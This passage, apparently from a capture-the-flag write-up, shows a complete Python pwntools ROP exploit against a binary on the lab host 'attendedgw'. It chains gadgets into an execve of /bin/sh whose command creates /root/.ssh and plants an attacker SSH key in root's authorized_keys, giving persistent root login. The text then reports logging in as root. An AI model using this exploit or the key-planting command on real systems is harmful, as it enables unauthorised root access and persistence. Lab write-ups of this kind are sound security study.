With the following code we have all of our registers on their marks and can finally call a syscall. If we use it to authenticate to root@attendedgw our exploit works!:
#!/usr/bin/env python3
from pwn import *
# Junk
junk = 560*b'A'
# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)
zero = p64(0x0)
bin_sh_args_float = p64(0x4ac022e0)
bin_sh_args_float_addr = p64(0x601190)
reset_rip = p64(0x40037b)
syscall = p64(0x00000000004003cf)
# /bin/sh args
arg1 = b'-c'.ljust(8, b'\x00') # -c
arg2 = b'mkdir /root/.ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleIY99tS9NgpR7d8bXCTKeyLqPU56qLH7Cc89uqEUi" > /root/.ssh/authorized_keys'.ljust(136, b'\x00')
# /bin/sh arg addresses
arg0_addr = p64(0x6010d0)
arg1_addr = p64(0x6010e0)
arg2_addr = p64(0x6010e8)
# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += arg1
payload += arg2
payload += arg0_addr
payload += arg1_addr
payload += arg2_addr
payload += zero
payload += bin_sh_args_float
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi
payload += pop_rdx
payload += reset_rip
payload += pop_rdx
payload += bin_sh_args_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += pop_rdx
payload += zero
payload += syscall
payload += zero
# Fin
print('[+]Hex payload:\n' + payload.hex())
We can generate the payload.

And login to attendedgw.


Last updated
Was this helpful?